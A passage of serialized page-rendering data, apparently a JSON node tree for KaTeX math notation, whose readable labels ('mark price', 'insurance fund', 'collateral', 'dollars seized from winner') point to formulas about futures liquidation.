62753],{"type":23,"tag":134,"props":161271,"children":161272},{"style":160454},[161273,161277],{"type":23,"tag":134,"props":161274,"children":161276},{"className":161275,"style":160459},[1252],[],{"type":23,"tag":134,"props":161278,"children":161280},{"className":161279},[1211],[161281,161285,161289,161294,161298],{"type":23,"tag":134,"props":161282,"children":161284},{"className":161283},[1211],[],{"type":23,"tag":134,"props":161286,"children":161288},{"className":161287,"style":1390},[1292],[],{"type":23,"tag":134,"props":161290,"children":161292},{"className":161291},[1395],[161293],{"type":28,"value":21085},{"type":23,"tag":134,"props":161295,"children":161297},{"className":161296,"style":1390},[1292],[],{"type":23,"tag":134,"props":161299,"children":161301},{"className":161300},[1211,28],[161302],{"type":23,"tag":134,"props":161303,"children":161305},{"className":161304},[1211],[161306],{"type":28,"value":161307},"mark price",{"type":23,"tag":134,"props":161309,"children":161310},{"style":160525},[161311,161315],{"type":23,"tag":134,"props":161312,"children":161314},{"className":161313,"style":160459},[1252],[],{"type":23,"tag":134,"props":161316,"children":161318},{"className":161317},[1211],[161319,161323,161327,161332,161336],{"type":23,"tag":134,"props":161320,"children":161322},{"className":161321},[1211],[],{"type":23,"tag":134,"props":161324,"children":161326},{"className":161325,"style":1390},[1292],[],{"type":23,"tag":134,"props":161328,"children":161330},{"className":161329},[1395],[161331],{"type":28,"value":21085},{"type":23,"tag":134,"props":161333,"children":161335},{"className":161334,"style":1390},[1292],[],{"type":23,"tag":134,"props":161337,"children":161339},{"className":161338},[1211,28],[161340],{"type":23,"tag":134,"props":161341,"children":161343},{"className":161342},[1211],[161344],{"type":28,"value":161345},"insurance fund",{"type":23,"tag":134,"props":161347,"children":161348},{"style":160542},[161349,161353],{"type":23,"tag":134,"props":161350,"children":161352},{"className":161351,"style":160459},[1252],[],{"type":23,"tag":134,"props":161354,"children":161356},{"className":161355},[1211],[161357,161361,161365,161370,161374,161384,161388,161393,161397],{"type":23,"tag":134,"props":161358,"children":161360},{"className":161359},[1211],[],{"type":23,"tag":134,"props":161362,"children":161364},{"className":161363,"style":1390},[1292],[],{"type":23,"tag":134,"props":161366,"children":161368},{"className":161367},[1395],[161369],{"type":28,"value":21085},{"type":23,"tag":134,"props":161371,"children":161373},{"className":161372,"style":1390},[1292],[],{"type":23,"tag":134,"props":161375,"children":161377},{"className":161376},[1211,28],[161378],{"type":23,"tag":134,"props":161379,"children":161381},{"className":161380},[1211],[161382],{"type":28,"value":161383},"collateral",{"type":23,"tag":134,"props":161385,"children":161387},{"className":161386,"style":1390},[1292],[],{"type":23,"tag":134,"props":161389,"children":161391},{"className":161390},[1395],[161392],{"type":28,"value":257},{"type":23,"tag":134,"props":161394,"children":161396},{"className":161395,"style":1390},[1292],[],{"type":23,"tag":134,"props":161398,"children":161400},{"className":161399},[1211],[161401,161405,161489],{"type":23,"tag":134,"props":161402,"children":161404},{"className":161403},[21195,113077],[],{"type":23,"tag":134,"props":161406,"children":161408},{"className":161407},[113082],[161409],{"type":23,"tag":134,"props":161410,"children":161412},{"className":161411},[1233,21120],[161413,161478],{"type":23,"tag":134,"props":161414,"children":161416},{"className":161415},[1238],[161417,161473],{"type":23,"tag":134,"props":161418,"children":161421},{"className":161419,"style":161420},[1243],"height:1.3714em;",[161422,161442,161453],{"type":23,"tag":134,"props":161423,"children":161424},{"style":158668},[161425,161429],{"type":23,"tag":134,"props":161426,"children":161428},{"className":161427,"style":111730},[1252],[],{"type":23,"tag":134,"props":161430,"children":161432},{"className":161431},[1211],[161433],{"type":23,"tag":134,"props":161434,"children":161436},{"className":161435},[1211,28],[161437],{"type":23,"tag":134,"props":161438,"children":161440},{"className":161439},[1211],[161441],{"type":28,"value":158705},{"type":23,"tag":134,"props":161443,"children":161444},{"style":113132},[161445,161449],{"type":23,"tag":134,"props":161446,"children":161448},{"className":161447,"style":111730},[1252],[],{"type":23,"tag":134,"props":161450,"children":161452},{"className":161451,"style":113142},[113141],[],{"type":23,"tag":134,"props":161454,"children":161455},{"style":158719},[161456,161460],{"type":23,"tag":134,"props":161457,"children":161459},{"className":161458,"style":111730},[1252],[],{"type":23,"tag":134,"props":161461,"children":161463},{"className":161462},[1211],[161464],{"type":23,"tag":134,"props":161465,"children":161467},{"className":161466},[1211,28],[161468],{"type":23,"tag":134,"props":161469,"children":161471},{"className":161470},[1211],[161472],{"type":28,"value":158744},{"type":23,"tag":134,"props":161474,"children":161476},{"className":161475},[21223],[161477],{"type":28,"value":21226},{"type":23,"tag":134,"props":161479,"children":161481},{"className":161480},[1238],[161482],{"type":23,"tag":134,"props":161483,"children":161485},{"className":161484,"style":158762},[1243],[161486],{"type":23,"tag":134,"props":161487,"children":161488},{},[],{"type":23,"tag":134,"props":161490,"children":161492},{"className":161491},[21217,113077],[],{"type":23,"tag":134,"props":161494,"children":161495},{"style":160611},[161496,161500],{"type":23,"tag":134,"props":161497,"children":161499},{"className":161498,"style":160459},[1252],[],{"type":23,"tag":134,"props":161501,"children":161503},{"className":161502},[1211],[161504,161508,161512,161517,161521,161578,161582,161587,161591,161596,161653,161657,161662,161666,161723],{"type":23,"tag":134,"props":161505,"children":161507},{"className":161506},[1211],[],{"type":23,"tag":134,"props":161509,"children":161511},{"className":161510,"style":1390},[1292],[],{"type":23,"tag":134,"props":161513,"children":161515},{"className":161514},[1395],[161516],{"type":28,"value":257},{"type":23,"tag":134,"props":161518,"children":161520},{"className":161519,"style":1390},[1292],[],{"type":23,"tag":134,"props":161522,"children":161524},{"className":161523},[1211],[161525,161530],{"type":23,"tag":134,"props":161526,"children":161528},{"className":161527},[1211,21066],[161529],{"type":28,"value":10117},{"type":23,"tag":134,"props":161531,"children":161533},{"className":161532},[1228],[161534],{"type":23,"tag":134,"props":161535,"children":161537},{"className":161536},[1233,21120],[161538,161567],{"type":23,"tag":134,"props":161539,"children":161541},{"className":161540},[1238],[161542,161562],{"type":23,"tag":134,"props":161543,"children":161545},{"className":161544,"style":93088},[1243],[161546],{"type":23,"tag":134,"props":161547,"children":161548},{"style":92615},[161549,161553],{"type":23,"tag":134,"props":161550,"children":161552},{"className":161551,"style":1253},[1252],[],{"type":23,"tag":134,"props":161554,"children":161556},{"className":161555},[1258,1259,1260,1261],[161557],{"type":23,"tag":134,"props":161558,"children":161560},{"className":161559},[1211,21066,1261],[161561],{"type":28,"value":929},{"type":23,"tag":134,"props":161563,"children":161565},{"className":161564},[21223],[161566],{"type":28,"value":21226},{"type":23,"tag":134,"props":161568,"children":161570},{"className":161569},[1238],[161571],{"type":23,"tag":134,"props":161572,"children":161574},{"className":161573,"style":92642},[1243],[161575],{"type":23,"tag":134,"props":161576,"children":161577},{},[],{"type":23,"tag":134,"props":161579,"children":161581},{"className":161580,"style":1293},[1292],[],{"type":23,"tag":134,"props":161583,"children":161585},{"className":161584},[1298],[161586],{"type":28,"value":110821},{"type":23,"tag":134,"props":161588,"children":161590},{"className":161589,"style":1293},[1292],[],{"type":23,"tag":134,"props":161592,"children":161594},{"className":161593},[21195],[161595],{"type":28,"value":272},{"type":23,"tag":134,"props":161597,"children":161599},{"className":161598},[1211],[161600,161605],{"type":23,"tag":134,"props":161601,"children":161603},{"className":161602,"style":21067},[1211,21066],[161604],{"type":28,"value":21070},{"type":23,"tag":134,"props":161606,"children":161608},{"className":161607},[1228],[161609],{"type":23,"tag":134,"props":161610,"children":161612},{"className":161611},[1233,21120],[161613,161642],{"type":23,"tag":134,"props":161614,"children":161616},{"className":161615},[1238],[161617,161637],{"type":23,"tag":134,"props":161618,"children":161620},{"className":161619,"style":108991},[1243],[161621],{"type":23,"tag":134,"props":161622,"children":161623},{"style":160492},[161624,161628],{"type":23,"tag":134,"props":161625,"children":161627},{"className":161626,"style":1253},[1252],[],{"type":23,"tag":134,"props":161629,"children":161631},{"className":161630},[1258,1259,1260,1261],[161632],{"type":23,"tag":134,"props":161633,"children":161635},{"className":161634},[1211,21066,1261],[161636],{"type":28,"value":55910},{"type":23,"tag":134,"props":161638,"children":161640},{"className":161639},[21223],[161641],{"type":28,"value":21226},{"type":23,"tag":134,"props":161643,"children":161645},{"className":161644},[1238],[161646],{"type":23,"tag":134,"props":161647,"children":161649},{"className":161648,"style":92642},[1243],[161650],{"type":23,"tag":134,"props":161651,"children":161652},{},[],{"type":23,"tag":134,"props":161654,"children":161656},{"className":161655,"style":1293},[1292],[],{"type":23,"tag":134,"props":161658,"children":161660},{"className":161659},[1298],[161661],{"type":28,"value":1272},{"type":23,"tag":134,"props":161663,"children":161665},{"className":161664,"style":1293},[1292],[],{"type":23,"tag":134,"props":161667,"children":161669},{"className":161668},[1211],[161670,161675],{"type":23,"tag":134,"props":161671,"children":161673},{"className":161672},[1211,21066],[161674],{"type":28,"value":24},{"type":23,"tag":134,"props":161676,"children":161678},{"className":161677},[1228],[161679],{"type":23,"tag":134,"props":161680,"children":161682},{"className":161681},[1233,21120],[161683,161712],{"type":23,"tag":134,"props":161684,"children":161686},{"className":161685},[1238],[161687,161707],{"type":23,"tag":134,"props":161688,"children":161690},{"className":161689,"style":93088},[1243],[161691],{"type":23,"tag":134,"props":161692,"children":161693},{"style":92615},[161694,161698],{"type":23,"tag":134,"props":161695,"children":161697},{"className":161696,"style":1253},[1252],[],{"type":23,"tag":134,"props":161699,"children":161701},{"className":161700},[1258,1259,1260,1261],[161702],{"type":23,"tag":134,"props":161703,"children":161705},{"className":161704},[1211,21066,1261],[161706],{"type":28,"value":929},{"type":23,"tag":134,"props":161708,"children":161710},{"className":161709},[21223],[161711],{"type":28,"value":21226},{"type":23,"tag":134,"props":161713,"children":161715},{"className":161714},[1238],[161716],{"type":23,"tag":134,"props":161717,"children":161719},{"className":161718,"style":92642},[1243],[161720],{"type":23,"tag":134,"props":161721,"children":161722},{},[],{"type":23,"tag":134,"props":161724,"children":161726},{"className":161725},[21217],[161727],{"type":28,"value":296},{"type":23,"tag":134,"props":161729,"children":161730},{"style":160681},[161731,161735],{"type":23,"tag":134,"props":161732,"children":161734},{"className":161733,"style":160459},[1252],[],{"type":23,"tag":134,"props":161736,"children":161738},{"className":161737},[1211],[161739,161743,161747,161752,161756,161813,161817,161822,161826],{"type":23,"tag":134,"props":161740,"children":161742},{"className":161741},[1211],[],{"type":23,"tag":134,"props":161744,"children":161746},{"className":161745,"style":1390},[1292],[],{"type":23,"tag":134,"props":161748,"children":161750},{"className":161749},[1395],[161751],{"type":28,"value":257},{"type":23,"tag":134,"props":161753,"children":161755},{"className":161754,"style":1390},[1292],[],{"type":23,"tag":134,"props":161757,"children":161759},{"className":161758},[1211],[161760,161765],{"type":23,"tag":134,"props":161761,"children":161763},{"className":161762},[1211,21066],[161764],{"type":28,"value":315},{"type":23,"tag":134,"props":161766,"children":161768},{"className":161767},[1228],[161769],{"type":23,"tag":134,"props":161770,"children":161772},{"className":161771},[1233,21120],[161773,161802],{"type":23,"tag":134,"props":161774,"children":161776},{"className":161775},[1238],[161777,161797],{"type":23,"tag":134,"props":161778,"children":161780},{"className":161779,"style":93088},[1243],[161781],{"type":23,"tag":134,"props":161782,"children":161783},{"style":92615},[161784,161788],{"type":23,"tag":134,"props":161785,"children":161787},{"className":161786,"style":1253},[1252],[],{"type":23,"tag":134,"props":161789,"children":161791},{"className":161790},[1258,1259,1260,1261],[161792],{"type":23,"tag":134,"props":161793,"children":161795},{"className":161794},[1211,21066,1261],[161796],{"type":28,"value":929},{"type":23,"tag":134,"props":161798,"children":161800},{"className":161799},[21223],[161801],{"type":28,"value":21226},{"type":23,"tag":134,"props":161803,"children":161805},{"className":161804},[1238],[161806],{"type":23,"tag":134,"props":161807,"children":161809},{"className":161808,"style":92642},[1243],[161810],{"type":23,"tag":134,"props":161811,"children":161812},{},[],{"type":23,"tag":134,"props":161814,"children":161816},{"className":161815,"style":1293},[1292],[],{"type":23,"tag":134,"props":161818,"children":161820},{"className":161819},[1298],[161821],{"type":28,"value":1586},{"type":23,"tag":134,"props":161823,"children":161825},{"className":161824,"style":1293},[1292],[],{"type":23,"tag":134,"props":161827,"children":161829},{"className":161828},[1211],[161830,161835],{"type":23,"tag":134,"props":161831,"children":161833},{"className":161832,"style":93045},[1211,21066],[161834],{"type":28,"value":160630},{"type":23,"tag":134,"props":161836,"children":161838},{"className":161837},[1228],[161839],{"type":23,"tag":134,"props":161840,"children":161842},{"className":161841},[1233,21120],[161843,161872],{"type":23,"tag":134,"props":161844,"children":161846},{"className":161845},[1238],[161847,161867],{"type":23,"tag":134,"props":161848,"children":161850},{"className":161849,"style":93088},[1243],[161851],{"type":23,"tag":134,"props":161852,"children":161853},{"style":93092},[161854,161858],{"type":23,"tag":134,"props":161855,"children":161857},{"className":161856,"style":1253},[1252],[],{"type":23,"tag":134,"props":161859,"children":161861},{"className":161860},[1258,1259,1260,1261],[161862],{"type":23,"tag":134,"props":161863,"children":161865},{"className":161864},[1211,21066,1261],[161866],{"type":28,"value":929},{"type":23,"tag":134,"props":161868,"children":161870},{"className":161869},[21223],[161871],{"type":28,"value":21226},{"type":23,"tag":134,"props":161873,"children":161875},{"className":161874},[1238],[161876],{"type":23,"tag":134,"props":161877,"children":161879},{"className":161878,"style":92642},[1243],[161880],{"type":23,"tag":134,"props":161881,"children":161882},{},[],{"type":23,"tag":134,"props":161884,"children":161885},{"style":160750},[161886,161890],{"type":23,"tag":134,"props":161887,"children":161889},{"className":161888,"style":160459},[1252],[],{"type":23,"tag":134,"props":161891,"children":161893},{"className":161892},[1211],[161894,161898,161902,161907,161911],{"type":23,"tag":134,"props":161895,"children":161897},{"className":161896},[1211],[],{"type":23,"tag":134,"props":161899,"children":161901},{"className":161900,"style":1390},[1292],[],{"type":23,"tag":134,"props":161903,"children":161905},{"className":161904},[1395],[161906],{"type":28,"value":257},{"type":23,"tag":134,"props":161908,"children":161910},{"className":161909,"style":1390},[1292],[],{"type":23,"tag":134,"props":161912,"children":161914},{"className":161913},[1211],[161915,161920],{"type":23,"tag":134,"props":161916,"children":161918},{"className":161917,"style":93045},[1211,21066],[161919],{"type":28,"value":160630},{"type":23,"tag":134,"props":161921,"children":161923},{"className":161922},[1228],[161924],{"type":23,"tag":134,"props":161925,"children":161927},{"className":161926},[1233,21120],[161928,161976],{"type":23,"tag":134,"props":161929,"children":161931},{"className":161930},[1238],[161932,161971],{"type":23,"tag":134,"props":161933,"children":161936},{"className":161934,"style":161935},[1243],"height:0.8213em;",[161937,161954],{"type":23,"tag":134,"props":161938,"children":161940},{"style":161939},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[161941,161945],{"type":23,"tag":134,"props":161942,"children":161944},{"className":161943,"style":1253},[1252],[],{"type":23,"tag":134,"props":161946,"children":161948},{"className":161947},[1258,1259,1260,1261],[161949],{"type":23,"tag":134,"props":161950,"children":161952},{"className":161951},[1211,21066,1261],[161953],{"type":28,"value":929},{"type":23,"tag":134,"props":161955,"children":161957},{"style":161956},"top:-3.113em;margin-right:0.05em;",[161958,161962],{"type":23,"tag":134,"props":161959,"children":161961},{"className":161960,"style":1253},[1252],[],{"type":23,"tag":134,"props":161963,"children":161965},{"className":161964},[1258,1259,1260,1261],[161966],{"type":23,"tag":134,"props":161967,"children":161969},{"className":161968},[1298,1261],[161970],{"type":28,"value":1586},{"type":23,"tag":134,"props":161972,"children":161974},{"className":161973},[21223],[161975],{"type":28,"value":21226},{"type":23,"tag":134,"props":161977,"children":161979},{"className":161978},[1238],[161980],{"type":23,"tag":134,"props":161981,"children":161984},{"className":161982,"style":161983},[1243],"height:0.267em;",[161985],{"type":23,"tag":134,"props":161986,"children":161987},{},[],{"type":23,"tag":134,"props":161989,"children":161990},{"style":160820},[161991,161995],{"type":23,"tag":134,"props":161992,"children":161994},{"className":161993,"style":160459},[1252],[],{"type":23,"tag":134,"props":161996,"children":161998},{"className":161997},[1211],[161999,162003,162007,162012,162016,162026],{"type":23,"tag":134,"props":162000,"children":162002},{"className":162001},[1211],[],{"type":23,"tag":134,"props":162004,"children":162006},{"className":162005,"style":1390},[1292],[],{"type":23,"tag":134,"props":162008,"children":162010},{"className":162009},[1395],[162011],{"type":28,"value":21085},{"type":23,"tag":134,"props":162013,"children":162015},{"className":162014,"style":1390},[1292],[],{"type":23,"tag":134,"props":162017,"children":162019},{"className":162018},[1211,28],[162020],{"type":23,"tag":134,"props":162021,"children":162023},{"className":162022},[1211],[162024],{"type":28,"value":162025},"dollars seized from winner ",{"type":23,"tag":134,"props":162027,"children":162029},{"className":162028},[1211,21066],[162030],{"type":28,"value":929},{"type":23,"tag":134,"props":162032,"children":162033},{"style":160889},[162034,162038],{"type":23,"tag":134,"props":162035,"children":162037},{"className":162036,"style":160459},[1252],[],{"type":23,"tag":134,"props":162039,"children":162041},{"className":162040},[1211],[162042,162046,162050,162055,162059],{"type":23,"tag":134,"props":162043,"children":162045},{"className":162044},[1211],[],{"type":23,"tag":134,"props":162047,"children":162049},{"className":162048,"style":1390},[1292],[],{"type":23,"tag":134,"props":162051,"children":162053},{"className":162052},[1395],[162054],{"type":28,"value":257},{"type":23,"tag":134,"props":162056,"children":162058},{"className":162057,"style":1390},[1292],[],{"type":23,"tag":134,"props":162060,"children":162062},{"className":162061},[1211],[162063,162067,162248],{"type":23,"tag":134,"props":162064,"children":162066},{"className":162065},[21195,113077],[],{"type":23,"tag":134,"props":162068,"children":162070},{"className":162069},[113082],[162071],{"type":23,"tag":134,"props":162072,"children":162074},{"className":162073},[1233,21120],[162075,162236],{"type":23,"tag":134,"props":162076,"children":162078},{"className":162077},[1238],[162079,162231],{"type":23,"tag":134,"props":162080,"children":162083},{"className":162081,"style":162082},[1243],"height:1.1076em;",[162084,162152,162163],{"type":23,"tag":134,"props":162085,"children":162086},{"style":158668},[162087,162091],{"type":23,"tag":134,"props":162088,"children":162090},{"className":162089,"style":111730},[1252],[],{"type":23,"tag":134,"props":162092,"children":162094},{"className":162093},[1211],[162095],{"type":23,"tag":134,"props":162096,"children":162098},{"className":162097},[1211],[162099,162104],{"type":23,"tag":134,"props":162100,"children":162102},{"className":162101,"style":121839},[1211,21066],[162103],{"type":28,"value":49077},{"type":23,"tag":134,"props":162105,"children":162107},{"className":162106},[1228],[162108],{"type":23,"tag":134,"props":162109,"children":162111},{"className":162110},[1233,21120],[162112,162141],{"type":23,"tag":134,"props":162113,"children":162115},{"className":162114},[1238],[162116,162136],{"type":23,"tag":134,"props":162117,"children":162119},{"className":162118,"style":93088},[1243],[162120],{"type":23,"tag":134,"props":162121,"children":162122},{"style":160787},[162123,162127],{"type":23,"tag":134,"props":162124,"children":162126},{"className":162125,"style":1253},[1252],[],{"type":23,"tag":134,"props":162128,"children":162130},{"className":162129},[1258,1259,1260,1261],[162131],{"type":23,"tag":134,"props":162132,"children":162134},{"className":162133},[1211,21066,1261],[162135],{"type":28,"value":929},{"type":23,"tag":134,"props":162137,"children":162139},{"className":162138},[21223],[162140],{"type":28,"value":21226},{"type":23,"tag":134,"props":162142,"children":162144},{"className":162143},[1238],[162145],{"type":23,"tag":134,"props":162146,"children":162148},{"className":162147,"style":92642},[1243],[162149],{"type":23,"tag":134,"props":162150,"children":162151},{},[],{"type":23,"tag":134,"props":162153,"children":162154},{"style":113132},[162155,162159],{"type":23,"tag":134,"props":162156,"children":162158},{"className":162157,"style":111730},[1252],[],{"type":23,"tag":134,"props":162160,"children":162162},{"className":162161,"style":113142},[113141],[],{"type":23,"tag":134,"props":162164,"children":162165},{"style":158719},[162166,162170],{"type":23,"tag":134,"props":162167,"children":162169},{"className":162168,"style":111730},[1252],[],{"type":23,"tag":134,"props":162171,"children":162173},{"className":162172},[1211],[162174],{"type":23,"tag":134,"props":162175,"children":162177},{"className":162176},[1211],[162178,162183],{"type":23,"tag":134,"props":162179,"children":162181},{"className":162180},[1211,21066],[162182],{"type":28,"value":18752},{"type":23,"tag":134,"props":162184,"children":162186},{"className":162185},[1228],[162187],{"type":23,"tag":134,"props":162188,"children":162190},{"className":162189},[1233,21120],[162191,162220],{"type":23,"tag":134,"props":162192,"children":162194},{"className":162193},[1238],[162195,162215],{"type":23,"tag":134,"props":162196,"children":162198},{"className":162197,"style":93088},[1243],[162199],{"type":23,"tag":134,"props":162200,"children":162201},{"style":92615},[162202,162206],{"type":23,"tag":134,"props":162203,"children":162205},{"className":162204,"style":1253},[1252],[],{"type":23,"tag":134,"props":162207,"children":162209},{"className":162208},[1258,1259,1260,1261],[162210],{"type":23,"tag":134,"props":162211,"children":162213},{"className":162212},[1211,21066,1261],[162214],{"type":28,"value":929},{"type":23,"tag":134,"props":162216,"children":162218},{"className":162217},[21223],[162219],{"type":28,"value":21226},{"type":23,"tag":134,"props":162221,"children":162223},{"className":162222},[1238],[162224],{"type":23,"tag":134,"props":162225,"children":162227},{"className":162226,"style":92642},[1243],[162228],{"type":23,"tag":134,"props":162229,"children":162230},{},[],{"type":23,"tag":134,"props":162232,"children":162234},{"className":162233},[21223],[162235],{"type":28,"value":21226},{"type":23,"tag":134,"props":162237,"children":162239},{"className":162238},[1238],[162240],{"type":23,"tag":134,"props":162241,"children":162244},{"className":162242,"style":162243},[1243],"height:0.836em;",[162245],{"type":23,"tag":134,"props":162246,"children":162247},{},[],{"type":23,"tag":134,"props":162249,"children":162251},{"className":162250},[21217,113077],[],{"type":23,"tag":134,"props":162253,"children":162254},{"style":160958},[162255,162259],{"type":23,"tag":134,"props":162256,"children":162258},{"className":162257,"style":160459},[1252],[],{"type":23,"tag":134,"props":162260,"children":162262},{"className":162261},[1211],[162263,162267,162271,162276,162280,162350,162354],{"type":23,"tag":134,"props":162264,"children":162266},{"className":162265},[1211],[],{"type":23,"tag":134,"props":162268,"children":162270},{"className":162269,"style":1390},[1292],[],{"type":23,"tag":134,"props":162272,"children":162274},{"className":162273},[1395],[162275],{"type":28,"value":257},{"type":23,"tag":134,"props":162277,"children":162279},{"className":162278,"style":1390},[1292],[],{"type":23,"tag":134,"props":162281,"children":162284},{"className":162282},[21102,162283],"op-limits",[162285],{"type":23,"tag":134,"props":162286,"children":162288},{"className":162287},[1233,21120],[162289,162338],{"type":23,"tag":134,"props":162290,"children":162292},{"className":162291},[1238],[162293,162333],{"type":23,"tag":134,"props":162294,"children":162297},{"className":162295,"style":162296},[1243],"height:1.05em;",[162298,162316],{"type":23,"tag":134,"props":162299,"children":162301},{"style":162300},"top:-1.8723em;margin-left:0em;",[162302,162307],{"type":23,"tag":134,"props":162303,"children":162306},{"className":162304,"style":162305},[1252],"height:3.05em;",[],{"type":23,"tag":134,"props":162308,"children":162310},{"className":162309},[1258,1259,1260,1261],[162311],{"type":23,"tag":134,"props":162312,"children":162314},{"className":162313},[1211,21066,1261],[162315],{"type":28,"value":929},{"type":23,"tag":134,"props":162317,"children":162319},{"style":162318},"top:-3.05em;",[162320,162324],{"type":23,"tag":134,"props":162321,"children":162323},{"className":162322,"style":162305},[1252],[],{"type":23,"tag":134,"props":162325,"children":162326},{},[162327],{"type":23,"tag":134,"props":162328,"children":162331},{"className":162329},[21102,21107,162330],"large-op",[162332],{"type":28,"value":108354},{"type":23,"tag":134,"props":162334,"children":162336},{"className":162335},[21223],[162337],{"type":28,"value":21226},{"type":23,"tag":134,"props":162339,"children":162341},{"className":162340},[1238],[162342],{"type":23,"tag":134,"props":162343,"children":162346},{"className":162344,"style":162345},[1243],"height:1.2777em;",[162347],{"type":23,"tag":134,"props":162348,"children":162349},{},[],{"type":23,"tag":134,"props":162351,"children":162353},{"className":162352,"style":1331},[1292],[],{"type":23,"tag":134,"props":162355,"children":162357},{"className":162356},[1211],[162358,162363],{"type":23,"tag":134,"props":162359,"children":162361},{"className":162360},[1211,21066],[162362],{"type":28,"value":18752},{"type":23,"tag":134,"props":162364,"children":162366},{"className":162365},[1228],[162367],{"type":23,"tag":134,"props":162368,"children":162370},{"className":162369},[1233,21120],[162371,162400],{"type":23,"tag":134,"props":162372,"children":162374},{"className":162373},[1238],[162375,162395],{"type":23,"tag":134,"props":162376,"children":162378},{"className":162377,"style":93088},[1243],[162379],{"type":23,"tag":134,"props":162380,"children":162381},{"style":92615},[162382,162386],{"type":23,"tag":134,"props":162383,"children":162385},{"className":162384,"style":1253},[1252],[],{"type":23,"tag":134,"props":162387,"children":162389},{"className":162388},[1258,1259,1260,1261],[162390],{"type":23,"tag":134,"props":162391,"children":162393},{"className":162392},[1211,21066,1261],[162394],{"type":28,"value":929},{"type":23,"tag":134,"props":162396,"children":162398},{"className":162397},[21223],[162399],{"type":28,"value":21226},{"type":23,"tag":134,"props":162401,"children":162403},{"className":162402},[1238],[162404],{"type":23,"tag":134,"props":162405,"children":162407},{"className":162406,"style":92642},[1243],[162408],{"type":23,"tag":134,"props":162409,"children":162410},{},[],{"type":23,"tag":134,"props":162412,"children":162413},{"style":161027},[162414,162418],{"type":23,"tag":134,"props":162415,"children":162417},{"className":162416,"style":160459},[1252],[],{"type":23,"tag":134,"props":162419,"children":162421},{"className":162420},[1211],[162422,162426,162430,162435,162439,162502,162506,162511,162516,162521,162578,162583,162587,162591,162596],{"type":23,"tag":134,"props":162423,"children":162425},{"className":162424},[1211],[],{"type":23,"tag":134,"props":162427,"children":162429},{"className":162428,"style":1390},[1292],[],{"type":23,"tag":134,"props":162431,"children":162433},{"className":162432},[1395],[162434],{"type":28,"value":257},{"type":23,"tag":134,"props":162436,"children":162438},{"className":162437,"style":1390},[1292],[],{"type":23,"tag":134,"props":162440,"children":162442},{"className":162441},[21102,162283],[162443],{"type":23,"tag":134,"props":162444,"children":162446},{"className":162445},[1233,21120],[162447,162491],{"type":23,"tag":134,"props":162448,"children":162450},{"className":162449},[1238],[162451,162486],{"type":23,"tag":134,"props":162452,"children":162454},{"className":162453,"style":162296},[1243],[162455,162471],{"type":23,"tag":134,"props":162456,"children":162457},{"style":162300},[162458,162462],{"type":23,"tag":134,"props":162459,"children":162461},{"className":162460,"style":162305},[1252],[],{"type":23,"tag":134,"props":162463,"children":162465},{"className":162464},[1258,1259,1260,1261],[162466],{"type":23,"tag":134,"props":162467,"children":162469},{"className":162468},[1211,21066,1261],[162470],{"type":28,"value":929},{"type":23,"tag":134,"props":162472,"children":162473},{"style":162318},[162474,162478],{"type":23,"tag":134,"props":162475,"children":162477},{"className":162476,"style":162305},[1252],[],{"type":23,"tag":134,"props":162479,"children":162480},{},[162481],{"type":23,"tag":134,"props":162482,"children":162484},{"className":162483},[21102,21107,162330],[162485],{"type":28,"value":108354},{"type":23,"tag":134,"props":162487,"children":162489},{"className":162488},[21223],[162490],{"type":28,"value":21226},{"type":23,"tag":134,"props":162492,"children":162494},{"className":162493},[1238],[162495],{"type":23,"tag":134,"props":162496,"children":162498},{"className":162497,"style":162345},[1243],[162499],{"type":23,"tag":134,"props":162500,"children":162501},{},[],{"type":23,"tag":134,"props":162503,"children":162505},{"className":162504,"style":1331},[1292],[],{"type":23,"tag":134,"props":162507,"children":162509},{"className":162508},[21102],[162510],{"type":28,"value":160173},{"type":23,"tag":134,"props":162512,"children":162514},{"className":162513},[21195],[162515],{"type":28,"value":272},{"type":23,"tag":134,"props":162517,"children":162519},{"className":162518},[1211],[162520],{"type":28,"value":1272},{"type":23,"tag":134,"props":162522,"children":162524},{"className":162523},[1211],[162525,162530],{"type":23,"tag":134,"props":162526,"children":162528},{"className":162527},[1211,21066],[162529],{"type":28,"value":50960},{"type":23,"tag":134,"props":162531,"children":162533},{"className":162532},[1228],[162534],{"type":23,"tag":134,"props":162535,"children":162537},{"className":162536},[1233,21120],[162538,162567],{"type":23,"tag":134,"props":162539,"children":162541},{"className":162540},[1238],[162542,162562],{"type":23,"tag":134,"props":162543,"children":162545},{"className":162544,"style":93088},[1243],[162546],{"type":23,"tag":134,"props":162547,"children":162548},{"style":92615},[162549,162553],{"type":23,"tag":134,"props":162550,"children":162552},{"className":162551,"style":1253},[1252],[],{"type":23,"tag":134,"props":162554,"children":162556},{"className":162555},[1258,1259,1260,1261],[162557],{"type":23,"tag":134,"props":162558,"children":162560},{"className":162559},[1211,21066,1261],[162561],{"type":28,"value":929},{"type":23,"tag":134,"props":162563,"children":162565},{"className":162564},[21223],[162566],{"type":28,"value":21226},{"type":23,"tag":134,"props":162568,"children":162570},{"className":162569},[1238],[162571],{"type":23,"tag":134,"props":162572,"children":162574},{"className":162573,"style":92642},[1243],[162575],{"type":23,"tag":134,"props":162576,"children":162577},{},[],{"type":23,"tag":134,"props":162579,"children":162581},{"className":162580},[1324],[162582],{"type":28,"value":1327},{"type":23,"tag":134,"props":162584,"children":162586},{"className":162585,"style":1331},[1292],[],{"type":23,"tag":134,"props":162588,"children":162590},{"className":162589,"style":1331},[1292],[],{"type":23,"tag":134,"props":162592,"children":162594},{"className":162593},[1211],[162595],{"type":28,"value":1224},{"type":23,"tag":134,"props":162597,"children":162599},{"className":162598},[21217],[162600],{"type":28,"value":296},{"type":23,"tag":134,"props":162602,"children":162603},{"style":161097},[162604,162608],{"type":23,"tag":134,"props":162605,"children":162607},{"className":162606,"style":160459},[1252],[],{"type":23,"tag":134,"props":162609,"children":162611},{"className":162610},[1211],[162612,162616,162620,162625,162629,162692,162696],{"type":23,"tag":134,"props":162613,"children":162615},{"className":162614},[1211],[],{"type":23,"tag":134,"props":162617,"children":162619},{"className":162618,"style":1390},[1292],[],{"type":23,"tag":134,"props":162621,"children":162623},{"className":162622},[1395],[162624],{"type":28,"value":257},{"type":23,"tag":134,"props":162626,"children":162628},{"className":162627,"style":1390},[1292],[],{"type":23,"tag":134,"props":162630,"children":162632},{"className":162631},[21102,162283],[162633],{"type":23,"tag":134,"props":162634,"children":162636},{"className":162635},[1233,21120],[162637,162681],{"type":23,"tag":134,"props":162638,"children":162640},{"className":162639},[1238],[162641,162676],{"type":23,"tag":134,"props":162642,"children":162644},{"className":162643,"style":162296},[1243],[162645,162661],{"type":23,"tag":134,"props":162646,"children":162647},{"style":162300},[162648,